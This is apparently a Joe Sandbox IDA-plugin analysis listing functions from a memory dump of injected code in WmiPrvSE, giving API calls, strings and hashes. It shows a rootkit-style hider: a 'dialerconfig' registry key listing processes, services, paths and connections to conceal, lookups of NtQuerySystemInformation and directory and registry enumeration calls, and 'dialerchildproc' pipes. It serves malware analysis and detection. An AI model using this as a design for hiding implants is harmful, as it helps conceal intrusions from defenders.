Opcode ID: 056b8809331e045eb0ff6df28b8a67c6be047fb713c0be5e5acd4a9b147221bc
Instruction ID: 37c9148f579ccd55c50dade72aae745424bbef6147a262b77b982cc568d3b65c
Opcode Fuzzy Hash: 056b8809331e045eb0ff6df28b8a67c6be047fb713c0be5e5acd4a9b147221bc
Instruction Fuzzy Hash: 40315132314B8096EB70EF65E8453AE73A8F78A764F900126EA9D43F58DF38C546CB00

Function 0000022464461628 Relevance: 50.9, APIs: 20, Strings: 9, Instructions: 157
registrymemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcessHeap.KERNEL32 ref: 0000022464461633
HeapAlloc.KERNEL32 ref: 0000022464461642

Part of subcall function 0000022464461268: GetProcessHeap.KERNEL32 ref: 000002246446126E
Part of subcall function 0000022464461268: HeapAlloc.KERNEL32 ref: 000002246446127D
Part of subcall function 0000022464461268: GetProcessHeap.KERNEL32 ref: 0000022464461297
Part of subcall function 0000022464461268: HeapAlloc.KERNEL32 ref: 00000224644612A8

RegOpenKeyExW.ADVAPI32 ref: 00000224644616B2
RegOpenKeyExW.ADVAPI32 ref: 00000224644616DF
RegCloseKey.ADVAPI32 ref: 00000224644616F9
RegOpenKeyExW.ADVAPI32 ref: 0000022464461719
RegCloseKey.ADVAPI32 ref: 0000022464461734
RegOpenKeyExW.ADVAPI32 ref: 0000022464461754
RegCloseKey.ADVAPI32 ref: 000002246446176F
RegOpenKeyExW.ADVAPI32 ref: 000002246446178F
RegCloseKey.ADVAPI32 ref: 00000224644617AA
RegOpenKeyExW.ADVAPI32 ref: 00000224644617CA
RegCloseKey.ADVAPI32 ref: 00000224644617E5
RegOpenKeyExW.ADVAPI32 ref: 0000022464461805
RegCloseKey.ADVAPI32 ref: 0000022464461820
RegOpenKeyExW.ADVAPI32 ref: 0000022464461840
RegCloseKey.ADVAPI32 ref: 000002246446185B
RegOpenKeyExW.ADVAPI32 ref: 000002246446187B
RegCloseKey.ADVAPI32 ref: 0000022464461896
RegCloseKey.ADVAPI32 ref: 00000224644618A0

Part of subcall function 00000224644612BC: RegQueryInfoKeyW.ADVAPI32 ref: 0000022464461319
Part of subcall function 00000224644612BC: GetProcessHeap.KERNEL32 ref: 0000022464461327
Part of subcall function 00000224644612BC: HeapAlloc.KERNEL32 ref: 0000022464461338
Part of subcall function 00000224644612BC: RegEnumValueW.ADVAPI32 ref: 0000022464461397
Part of subcall function 00000224644612BC: GetProcessHeap.KERNEL32 ref: 00000224644613DF
Part of subcall function 00000224644612BC: HeapAlloc.KERNEL32 ref: 00000224644613ED
Part of subcall function 00000224644612BC: GetProcessHeap.KERNEL32 ref: 000002246446140A
Part of subcall function 00000224644612BC: HeapFree.KERNEL32 ref: 0000022464461418
Part of subcall function 00000224644612BC: lstrlenW.KERNEL32 ref: 0000022464461421
Part of subcall function 00000224644612BC: GetProcessHeap.KERNEL32 ref: 000002246446142F
Part of subcall function 00000224644612BC: HeapAlloc.KERNEL32 ref: 000002246446143D

Strings

paths, xrefs: 0000022464461788
startup, xrefs: 00000224644616D5
tcp_remote, xrefs: 0000022464461839
process_names, xrefs: 000002246446174D
SOFTWARE\dialerconfig, xrefs: 0000022464461692
pid, xrefs: 0000022464461712
udp, xrefs: 0000022464461874
tcp_local, xrefs: 00000224644617FE
service_names, xrefs: 00000224644617C3

Memory Dump Source

Source File: 00000013.00000002.3366872392.0000022464460000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000022464460000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_22464460000_WmiPrvSE.jbxd

Similarity

API ID: Heap$CloseOpen$Process$Alloc$EnumFreeInfoQueryValuelstrlen
String ID: SOFTWARE\dialerconfig$paths$pid$process_names$service_names$startup$tcp_local$tcp_remote$udp
API String ID: 106492572-2879589442
Opcode ID: 29d8c56dd48d9a3b38e8b79419d4f3e68f34e96909367841420a970a2341c6d0
Instruction ID: 321fd50596de88ef4081d745272f011c1d179d5784aa8c7fbd8b2983ea7a7178
Opcode Fuzzy Hash: 29d8c56dd48d9a3b38e8b79419d4f3e68f34e96909367841420a970a2341c6d0
Instruction Fuzzy Hash: 52713D36310A50A6EF60EFA5E84A66937A9F786B9CF802111DD4E53F2DDF34C445C740

Function 00000224644612BC Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 120
memoryregistrystringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegQueryInfoKeyW.ADVAPI32 ref: 0000022464461319
GetProcessHeap.KERNEL32 ref: 0000022464461327
HeapAlloc.KERNEL32 ref: 0000022464461338
RegEnumValueW.ADVAPI32 ref: 0000022464461397

Part of subcall function 000002246446152C: StrCmpIW.SHLWAPI ref: 000002246446155D

GetProcessHeap.KERNEL32 ref: 00000224644613DF
HeapAlloc.KERNEL32 ref: 00000224644613ED
GetProcessHeap.KERNEL32 ref: 000002246446140A
HeapFree.KERNEL32 ref: 0000022464461418
lstrlenW.KERNEL32 ref: 0000022464461421
GetProcessHeap.KERNEL32 ref: 000002246446142F
HeapAlloc.KERNEL32 ref: 000002246446143D
StrCpyW.SHLWAPI ref: 000002246446145F
GetProcessHeap.KERNEL32 ref: 0000022464461476
HeapFree.KERNEL32 ref: 0000022464461484

Strings

d, xrefs: 000002246446135A

Memory Dump Source

Source File: 00000013.00000002.3366872392.0000022464460000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000022464460000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_22464460000_WmiPrvSE.jbxd

Similarity

API ID: Heap$Process$Alloc$Free$EnumInfoQueryValuelstrlen
String ID: d
API String ID: 2005889112-2564639436
Opcode ID: 8b653d2a3574a9b9f54f76d34c9bbade1314fe17b6e977058bb62b7e32ce9810
Instruction ID: a280a44295b083bb77bdd0415179f3ea07f640493acd7725c0faa70d909d99ee
Opcode Fuzzy Hash: 8b653d2a3574a9b9f54f76d34c9bbade1314fe17b6e977058bb62b7e32ce9810
Instruction Fuzzy Hash: 06513D36200B8496EB64DFA2E54E36A77A6F78ABD5F844124DE4907B5DDF3CC446CB00

Function 0000022464461D14 Relevance: 22.8, APIs: 1, Strings: 12, Instructions: 65
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentThread.KERNEL32 ref: 0000022464461D1F

Part of subcall function 0000022464461FD4: GetModuleHandleA.KERNEL32 ref: 0000022464461FEC
Part of subcall function 0000022464461FD4: GetProcAddress.KERNEL32 ref: 0000022464461FFD

Part of subcall function 0000022464465B30: GetCurrentThreadId.KERNEL32 ref: 0000022464465B6B

Strings

NtDeviceIoControlFile, xrefs: 0000022464461E56
EnumServiceGroupW, xrefs: 0000022464461DF0
sechost.dll, xrefs: 0000022464461E39
ntdll.dll, xrefs: 0000022464461D2D
EnumServicesStatusExW, xrefs: 0000022464461E11, 0000022464461E32
NtEnumerateValueKey, xrefs: 0000022464461DD6
NtEnumerateKey, xrefs: 0000022464461DB9
NtQuerySystemInformation, xrefs: 0000022464461D45
advapi32.dll, xrefs: 0000022464461DF7, 0000022464461E18
NtQueryDirectoryFileEx, xrefs: 0000022464461D9C
NtResumeThread, xrefs: 0000022464461D62
NtQueryDirectoryFile, xrefs: 0000022464461D7F

Memory Dump Source

Source File: 00000013.00000002.3366872392.0000022464460000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000022464460000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_22464460000_WmiPrvSE.jbxd

Similarity

API ID: CurrentThread$AddressHandleModuleProc
String ID: EnumServiceGroupW$EnumServicesStatusExW$NtDeviceIoControlFile$NtEnumerateKey$NtEnumerateValueKey$NtQueryDirectoryFile$NtQueryDirectoryFileEx$NtQuerySystemInformation$NtResumeThread$advapi32.dll$ntdll.dll$sechost.dll
API String ID: 4175298099-1975688563
Opcode ID: 848021bf4701eae64bbfc749c93af06548ec6c37c79a2989ab503d46e0816dd6
Instruction ID: 1788f5aae779ab4ba702212cd81ee87479c54fc5623d5a9467859f99709f2d18
Opcode Fuzzy Hash: 848021bf4701eae64bbfc749c93af06548ec6c37c79a2989ab503d46e0816dd6
Instruction Fuzzy Hash: F831A3A861094AB0EFA4FFE5E85B6F4272CB716354FC05013D40912D6E9F78C24ACB50

Function 0000022464436910 Relevance: 21.2, APIs: 8, Strings: 4, Instructions: 230
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__scrt_dllmain_crt_thread_attach.LIBCMT ref: 0000022464436938
__scrt_acquire_startup_lock.LIBCMT ref: 000002246443698A
_RTC_Initialize.LIBCMT ref: 00000224644369B8
__scrt_dllmain_after_initialize_c.LIBCMT ref: 00000224644369DE
__scrt_release_startup_lock.LIBCMT ref: 0000022464436A09

Strings

`dynamic initializer for ', xrefs: 00000224644369C7
scriptor', xrefs: 0000022464436B39, 0000022464436BB2, 0000022464436BEC
`eh vector copy constructor iterator', xrefs: 0000022464436A3B
`eh vector vbase copy constructor iterator', xrefs: 00000224644369EE

Memory Dump Source

Source File: 00000013.00000002.3366797216.0000022464430000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000022464430000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_22464430000_WmiPrvSE.jbxd

Similarity

API ID: Initialize__scrt_acquire_startup_lock__scrt_dllmain_after_initialize_c__scrt_dllmain_crt_thread_attach__scrt_release_startup_lock
String ID: `dynamic initializer for '$`eh vector copy constructor iterator'$`eh vector vbase copy constructor iterator'$scriptor'
API String ID: 190073905-1786718095
Opcode ID: 0257f947f8d22f27d89668d16c5c48cc6f3519c7a2ac610662f1932688afbc32
Instruction ID: c5e5026ddf3eacff28e83724ae7f914e94cad23a476c1b3517702b24e7bf08ed
Opcode Fuzzy Hash: 0257f947f8d22f27d89668d16c5c48cc6f3519c7a2ac610662f1932688afbc32
Instruction Fuzzy Hash: 2C81C131600643A6FE76BBE7944B37922DCEB87F84FD4A0259A4547F9EDB38C8458B00

Function 000002246446CE28 Relevance: 18.1, APIs: 12, Instructions: 112
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetLastError.KERNEL32 ref: 000002246446CE37
FlsGetValue.KERNEL32(?,?,?,0000022464470A6B,?,?,?,000002246447045C,?,?,?,000002246446C84F), ref: 000002246446CE4C
FlsSetValue.KERNEL32(?,?,?,0000022464470A6B,?,?,?,000002246447045C,?,?,?,000002246446C84F), ref: 000002246446CE6D
FlsSetValue.KERNEL32(?,?,?,0000022464470A6B,?,?,?,000002246447045C,?,?,?,000002246446C84F), ref: 000002246446CE9A
FlsSetValue.KERNEL32(?,?,?,0000022464470A6B,?,?,?,000002246447045C,?,?,?,000002246446C84F), ref: 000002246446CEAB
FlsSetValue.KERNEL32(?,?,?,0000022464470A6B,?,?,?,000002246447045C,?,?,?,000002246446C84F), ref: 000002246446CEBC
SetLastError.KERNEL32 ref: 000002246446CED7
FlsGetValue.KERNEL32(?,?,?,?,?,?,?,0000022464470A6B,?,?,?,000002246447045C,?,?,?,000002246446C84F), ref: 000002246446CF0D
FlsSetValue.KERNEL32(?,?,00000001,000002246446ECCC,?,?,?,?,000002246446BF9F,?,?,?,?,?,0000022464467AB0), ref: 000002246446CF2C

Part of subcall function 000002246446D6CC: HeapAlloc.KERNEL32 ref: 000002246446D721

FlsSetValue.KERNEL32(?,?,?,?,?,?,?,0000022464470A6B,?,?,?,000002246447045C,?,?,?,000002246446C84F), ref: 000002246446CF54

Part of subcall function 000002246446D744: HeapFree.KERNEL32 ref: 000002246446D75A
Part of subcall function 000002246446D744: GetLastError.KERNEL32 ref: 000002246446D764

FlsSetValue.KERNEL32(?,?,?,?,?,?,?,0000022464470A6B,?,?,?,000002246447045C,?,?,?,000002246446C84F), ref: 000002246446CF65
FlsSetValue.KERNEL32(?,?,?,?,?,?,?,0000022464470A6B,?,?,?,000002246447045C,?,?,?,000002246446C84F), ref: 000002246446CF76

Memory Dump Source

Source File: 00000013.00000002.3366872392.0000022464460000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000022464460000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_22464460000_WmiPrvSE.jbxd

Similarity

API ID: Value$ErrorLast$Heap$AllocFree
String ID:
API String ID: 570795689-0
Opcode ID: 3a29360f60df60adecaf4649f79764fa540e3f9fdfe76bc69ae0b48c7fce8efe
Instruction ID: 03115f8062b5548c19d8f9fe4fbfa3748beb1b3edc853103c0d7fa10d303cf4e
Opcode Fuzzy Hash: 3a29360f60df60adecaf4649f79764fa540e3f9fdfe76bc69ae0b48c7fce8efe
Instruction Fuzzy Hash: 2441946030134465FEF8B7F5995F379225E5B5B7B0FE40725A83646EDEDE68D4018E00

Function 0000022464462244 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 52
filethreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcessIdOfThread.KERNEL32 ref: 0000022464462259
GetCurrentProcessId.KERNEL32 ref: 0000022464462263

Part of subcall function 0000022464461934: OpenProcess.KERNEL32 ref: 0000022464461952
Part of subcall function 0000022464461934: IsWow64Process.KERNEL32 ref: 0000022464461968
Part of subcall function 0000022464461934: CloseHandle.KERNEL32 ref: 0000022464461983

CreateFileW.KERNEL32 ref: 00000224644622BC
WriteFile.KERNEL32 ref: 00000224644622E4
ReadFile.KERNEL32 ref: 0000022464462303
CloseHandle.KERNEL32 ref: 000002246446230C

Strings

\\.\pipe\dialerchildproc32, xrefs: 0000022464462293
\\.\pipe\dialerchildproc64, xrefs: 000002246446228C

Memory Dump Source

Source File: 00000013.00000002.3366872392.0000022464460000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000022464460000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_22464460000_WmiPrvSE.jbxd

Similarity

API ID: Process$File$CloseHandle$CreateCurrentOpenReadThreadWow64Write
String ID: \\.\pipe\dialerchildproc32$\\.\pipe\dialerchildproc64
API String ID: 2171963597-1373409510
Opcode ID: d76f145db3bc14c8b60d6abb5b011cd5988a1ad04fc2d4b7169b2a78ec3c4c79
Instruction ID: ea21199c2ca28fa234886e2dc41e3930e2208e3fef81b27d52ee5f843bef7b7a
Opcode Fuzzy Hash: d76f145db3bc14c8b60d6abb5b011cd5988a1ad04fc2d4b7169b2a78ec3c4c79
Instruction Fuzzy Hash: 7C213D36614740A2FB20EB65E54936977A5F78ABA4F901215EA5902EACCF3CC14ACF00

Function 0000022464439944 Relevance: 12.6, APIs: 4, Strings: 3, Instructions: 317
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__FrameHandler3::GetHandlerSearchState.LIBVCRUNTIME ref: 00000224644399A1

Part of subcall function 000002246443A814: __GetUnwindTryBlock.LIBCMT ref: 000002246443A857
Part of subcall function 000002246443A814: __SetUnwindTryBlock.LIBVCRUNTIME ref: 000002246443A87C

Is_bad_exception_allowed.LIBVCRUNTIME ref: 0000022464439A79
__FrameHandler3::ExecutionInCatch.LIBVCRUNTIME ref: 0000022464439CCE
std::bad_alloc::bad_alloc.LIBCMT ref: 0000022464439DDA

Strings

csm, xrefs: 0000022464439A22
csm, xrefs: 0000022464439A9C
csm, xrefs: 00000224644399BB

Memory Dump Source

Source File: 00000013.00000002.3366797216.0000022464430000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000022464430000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_22464430000_WmiPrvSE.jbxd

Similarity

API ID: BlockFrameHandler3::Unwind$CatchExecutionHandlerIs_bad_exception_allowedSearchStatestd::bad_alloc::bad_alloc
String ID: csm$csm$csm
API String ID: 849930591-393685449
Opcode ID: 65b39982983e806640910362ba4e105e6dc551b6220b15538d356c191c28ac3a
Instruction ID: 753e77d2522ca88a5869fa569f641d44acc0dc8f8c401e930d1a77a7b0559a5e
Opcode Fuzzy Hash: 65b39982983e806640910362ba4e105e6dc551b6220b15538d356c191c28ac3a
Instruction Fuzzy Hash: C7E19C72604B809AEF71AFA6D48A3AD77A8F746F98F900105EE8957F99CF35D190C700

Function 000002246446A544 Relevance: 12.6, APIs: 4, Strings: 3, Instructions: 317
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__FrameHandler3::GetHandlerSearchState.LIBVCRUNTIME ref: 000002246446A5A1

Part of subcall function 000002246446B414: __GetUnwindTryBlock.LIBCMT ref: 000002246446B457
Part of subcall function 000002246446B414: __SetUnwindTryBlock.LIBVCRUNTIME ref: 000002246446B47C

Is_bad_exception_allowed.LIBVCRUNTIME ref: 000002246446A679
__FrameHandler3::ExecutionInCatch.LIBVCRUNTIME ref: 000002246446A8CE
std::bad_alloc::bad_alloc.LIBCMT ref: 000002246446A9DA

Strings

csm, xrefs: 000002246446A69C
csm, xrefs: 000002246446A5BB
csm, xrefs: 000002246446A622

Memory Dump Source

Source File: 00000013.00000002.3366872392.0000022464460000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000022464460000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_22464460000_WmiPrvSE.jbxd

Similarity

API ID: BlockFrameHandler3::Unwind$CatchExecutionHandlerIs_bad_exception_allowedSearchStatestd::bad_alloc::bad_alloc
String ID: csm$csm$csm
API String ID: 849930591-393685449
Opcode ID: 186f03c70d0fb8979f980bfcf85fe288d7737d97a0f3839797273e271350e365
Instruction ID: 2e3ec290c38825a87ce3037b71d6548a777fc4a6c68d2cf01a2b13652e3947e9
Opcode Fuzzy Hash: 186f03c70d0fb8979f980bfcf85fe288d7737d97a0f3839797273e271350e365
Instruction Fuzzy Hash: E2E17F72704B5096EFB0EFA5944A3AD77A8FB46798F900516EE8967F99CB34C481CB00

Function 000002246446F394 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 117
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FreeLibrary.KERNEL32 ref: 000002246446F510
GetProcAddress.KERNEL32 ref: 000002246446F51C

Strings

ext-ms-, xrefs: 000002246446F46D
api-ms-, xrefs: 000002246446F45A

Memory Dump Source

Source File: 00000013.00000002.3366872392.0000022464460000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000022464460000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_22464460000_WmiPrvSE.jbxd

Similarity

API ID: AddressFreeLibraryProc
String ID: api-ms-$ext-ms-
API String ID: 3013587201-537541572
Opcode ID: 978905767b5078ec9de210cf927baa423a0e9cdb829b06631a7440d3a6c0e710
Instruction ID: 972e152defcc8fd5eb100a4006694fc57d880e4a226c056782977f9daa240cc5
Opcode Fuzzy Hash: 978905767b5078ec9de210cf927baa423a0e9cdb829b06631a7440d3a6c0e710
Instruction Fuzzy Hash: 0E41D622316A0061EF75EF96A80A775239AF757BE0F854125DD4E87F8CDE38C4458740

Function 000002246446104C Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 99
memoryregistryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegQueryInfoKeyW.ADVAPI32 ref: 00000224644610B1
RegEnumValueW.ADVAPI32 ref: 0000022464461117
GetProcessHeap.KERNEL32 ref: 000002246446115A
HeapAlloc.KERNEL32 ref: 0000022464461168
GetProcessHeap.KERNEL32 ref: 0000022464461185
HeapFree.KERNEL32 ref: 0000022464461193

Strings

d, xrefs: 00000224644610D6

Memory Dump Source

Source File: 00000013.00000002.3366872392.0000022464460000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000022464460000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_22464460000_WmiPrvSE.jbxd

Similarity

API ID: Heap$Process$AllocEnumFreeInfoQueryValue
String ID: d
API String ID: 3743429067-2564639436
Opcode ID: 4e806da6bf888755fbf7915dbe23be07e0600cef0dd9ac19d63751155720d402
Instruction ID: 97e51a0e1799c231f318d2c68d7541239b68936e6eefef46b48f1f8a085199ea
Opcode Fuzzy Hash: 4e806da6bf888755fbf7915dbe23be07e0600cef0dd9ac19d63751155720d402
Instruction Fuzzy Hash: FC417F33214B84D6EBA0DF61E4497AE7BA5F389B99F448129DA8907B5CDF38C449CF00

Function 000002246446D068 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 54COMMONLIBRARYCODE

Download Yara Rule

APIs

FlsGetValue.KERNEL32(?,?,?,000002246446C7DE,?,?,?,?,?,?,?,?,000002246446CF9D,?,?,00000001), ref: 000002246446D087
FlsSetValue.KERNEL32(?,?,?,000002246446C7DE,?,?,?,?,?,?,?,?,000002246446CF9D,?,?,00000001), ref: 000002246446D0A6
FlsSetValue.KERNEL32(?,?,?,000002246446C7DE,?,?,?,?,?,?,?,?,000002246446CF9D,?,?,00000001), ref: 000002246446D0CE
FlsSetValue.KERNEL32(?,?,?,000002246446C7DE,?,?,?,?,?,?,?,?,000002246446CF9D,?,?,00000001), ref: 000002246446D0DF
FlsSetValue.KERNEL32(?,?,?,000002246446C7DE,?,?,?,?,?,?,?,?,000002246446CF9D,?,?,00000001), ref: 000002246446D0F0

Strings

1%, xrefs: 000002246446D0CE
Y%, xrefs: 000002246446D0A6

Memory Dump Source

Source File: 00000013.00000002.3366872392.0000022464460000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000022464460000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_22464460000_WmiPrvSE.jbxd

Similarity

API ID: Value
String ID: 1%$Y%
API String ID: 3702945584-1395475152
Opcode ID: eaed261e9eff258ccad1ac5f7a99306e4284ed666e6615725d2dc279c7a103a4
Instruction ID: 2b67020f018a9f8810d59156f319f69f5f99629193290177f0e13786c2057087
Opcode Fuzzy Hash: eaed261e9eff258ccad1ac5f7a99306e4284ed666e6615725d2dc279c7a103a4
Instruction Fuzzy Hash: E71163A070534461FEF877A5695F379614E6B5B7F4FB44325983A06EDEDE68C4028E00

Function 0000022464467510 Relevance: 12.2, APIs: 8, Instructions: 230COMMON

Download Yara Rule

APIs

__scrt_dllmain_crt_thread_attach.LIBCMT ref: 0000022464467538
__scrt_acquire_startup_lock.LIBCMT ref: 000002246446758A
_RTC_Initialize.LIBCMT ref: 00000224644675B8
__scrt_dllmain_after_initialize_c.LIBCMT ref: 00000224644675DE
__scrt_release_startup_lock.LIBCMT ref: 0000022464467609

Memory Dump Source

Source File: 00000013.00000002.3366872392.0000022464460000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000022464460000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_22464460000_WmiPrvSE.jbxd

Similarity

API ID: Initialize__scrt_acquire_startup_lock__scrt_dllmain_after_initialize_c__scrt_dllmain_crt_thread_attach__scrt_release_startup_lock
String ID:
API String ID: 190073905-0
Opcode ID: 0257f947f8d22f27d89668d16c5c48cc6f3519c7a2ac610662f1932688afbc32
Instruction ID: 02971b820b1f720edead6e94786eebce5417bde31f7eca3576a75b4935d6c81a
Opcode Fuzzy Hash: 0257f947f8d22f27d89668d16c5c48cc6f3519c7a2ac610662f1932688afbc32
Instruction Fuzzy Hash: 9881C5207186416AFFF0BBE5944B3B9669DA7877D0FD44525D90847F9EDB38C8468F00

Function 0000022464469DC4 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 88libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32 ref: 0000022464469E49
GetLastError.KERNEL32 ref: 0000022464469E57
LoadLibraryExW.KERNEL32 ref: 0000022464469E81
FreeLibrary.KERNEL32 ref: 0000022464469EC7
GetProcAddress.KERNEL32 ref: 0000022464469ED3

Strings

api-ms-, xrefs: 0000022464469E69

Memory Dump Source

Source File: 00000013.00000002.3366872392.0000022464460000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000022464460000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_22464460000_WmiPrvSE.jbxd

Similarity

API ID: Library$Load$AddressErrorFreeLastProc
String ID: api-ms-
API String ID: 2559590344-2084034818
Opcode ID: 57a387126f3cdca2e6377dd9e1e04e2dfecb224b041c0cba2ac35bf939624b8e
Instruction ID: 1057103f6f7b7bacb58be7fb4e86cbf78fdae9517db24c23aa34a7a1ca2130f2
Opcode Fuzzy Hash: 57a387126f3cdca2e6377dd9e1e04e2dfecb224b041c0cba2ac35bf939624b8e
Instruction Fuzzy Hash: 4B319221312640F1FFB1EB86E40A776239CB74ABA4F990525DD2E47B98DF7AC4458B00

Function 0000022464473DB4 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 48fileCOMMON

Download Yara Rule

APIs

WriteConsoleW.KERNEL32 ref: 0000022464473DE5
GetLastError.KERNEL32 ref: 0000022464473DF1
CloseHandle.KERNEL32 ref: 0000022464473E09
CreateFileW.KERNEL32 ref: 0000022464473E34
WriteConsoleW.KERNEL32 ref: 0000022464473E53

Strings

CONOUT$, xrefs: 0000022464473E15

Memory Dump Source

Source File: 00000013.00000002.3366872392.0000022464460000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000022464460000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_22464460000_WmiPrvSE.jbxd

Similarity

API ID: ConsoleWrite$CloseCreateErrorFileHandleLast
String ID: CONOUT$
API String ID: 3230265001-3130406586
Opcode ID: ea8503a65e9befc0d33d9332805196394b6329e0df61646a9863ad39bb9ae76f
Instruction ID: 9977123c592a0a2558a2b1c2e94fc5be4d7bf0382b4a74cdcb08c6f29ea8befd
Opcode Fuzzy Hash: ea8503a65e9befc0d33d9332805196394b6329e0df61646a9863ad39bb9ae76f
Instruction Fuzzy Hash: 35118631310B4096EB60AB92E84932977A8F789FF5F844215EA5D87F9CCF38C415C740

Function 0000022464463790 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 44COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32 ref: 000002246446379E
GetCurrentProcess.KERNEL32 ref: 00000224644637CC
VirtualProtectEx.KERNEL32 ref: 00000224644637EE
GetCurrentProcess.KERNEL32 ref: 0000022464463809
VirtualProtectEx.KERNEL32 ref: 000002246446382A

Strings

wr, xrefs: 00000224644637FF

Memory Dump Source

Source File: 00000013.00000002.3366872392.0000022464460000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000022464460000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_22464460000_WmiPrvSE.jbxd

Similarity

API ID: CurrentProcessProtectVirtual$HandleModule
String ID: wr
API String ID: 1092925422-2678910430
Opcode ID: d5ed198cecc284837a9554765ab7ffb778fa62629811cf0fe5ebc999f83bf42b
Instruction ID: beba4bd5143a7005743aa4a6b67fadfbb7bb6e270dc806b6ea42e0bf16e328ff
Opcode Fuzzy Hash: d5ed198cecc284837a9554765ab7ffb778fa62629811cf0fe5ebc999f83bf42b
Instruction Fuzzy Hash: F5117C26700B8092FF64ABA1E40936963A9F74AB95F840428DE8903F58EF3DC505CB04

Function 0000022464465B30 Relevance: 9.2, APIs: 6, Instructions: 240threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 0000022464465B6B
GetThreadContext.KERNEL32 ref: 0000022464465CD5

Part of subcall function 0000022464465960: GetCurrentThreadId.KERNEL32 ref: 0000022464465964

Memory Dump Source

Source File: 00000013.00000002.3366872392.0000022464460000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000022464460000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_22464460000_WmiPrvSE.jbxd

Similarity

API ID: Thread$Current$Context
String ID:
API String ID: 1666949209-0
Opcode ID: 542e600666cb1ac52823d1f72aa5ca11f47e3ee1f4dc73a6c07a176fbafbfe1c
Instruction ID: 2490aa9edd2d35dc1b35cf80b65044f035778a8ad7bce42f117590e8af2ec3ea
Opcode Fuzzy Hash: 542e600666cb1ac52823d1f72aa5ca11f47e3ee1f4dc73a6c07a176fbafbfe1c
Instruction Fuzzy Hash: 40D19A76208B8895DF70AB46E49936A7BA4F389B94F504216EACD47FA9DF3CC541CF00

Function 0000022464462F04 Relevance: 9.1, APIs: 5, Strings: 1, Instructions: 93memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 0000022464462F27
HeapAlloc.KERNEL32 ref: 0000022464462F3A
StrCmpNIW.SHLWAPI ref: 0000022464462FAF
GetProcessHeap.KERNEL32 ref: 0000022464463015
HeapFree.KERNEL32 ref: 0000022464463023

Strings

dialer, xrefs: 0000022464462FA8

Memory Dump Source

Source File: 00000013.00000002.3366872392.0000022464460000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000022464460000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_22464460000_WmiPrvSE.jbxd

Similarity

API ID: Heap$Process$AllocFree
String ID: dialer
API String ID: 756756679-3528709123
Opcode ID: 2e24de9146afbba5105044d4fd5602f1f9f0ed558a5ed62472976580c3eaf0ad
Instruction ID: d284d968d2fd8232325140d9dc5d806b16967bb5c901ee55a9de54a3b180b692
Opcode Fuzzy Hash: 2e24de9146afbba5105044d4fd5602f1f9f0ed558a5ed62472976580c3eaf0ad
Instruction Fuzzy Hash: 4331D322301B51A2EFB4FF96E54A77967A9FB46B84F888024DE4847F5DEF34C4658B00

Function 00000224644614A4 Relevance: 9.1, APIs: 5, Strings: 1, Instructions: 70memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 00000224644614C5
HeapFree.KERNEL32 ref: 00000224644614D4
GetProcessHeap.KERNEL32 ref: 00000224644614E1
HeapFree.KERNEL32 ref: 00000224644614F0
GetProcessHeap.KERNEL32 ref: 0000022464461500

Strings

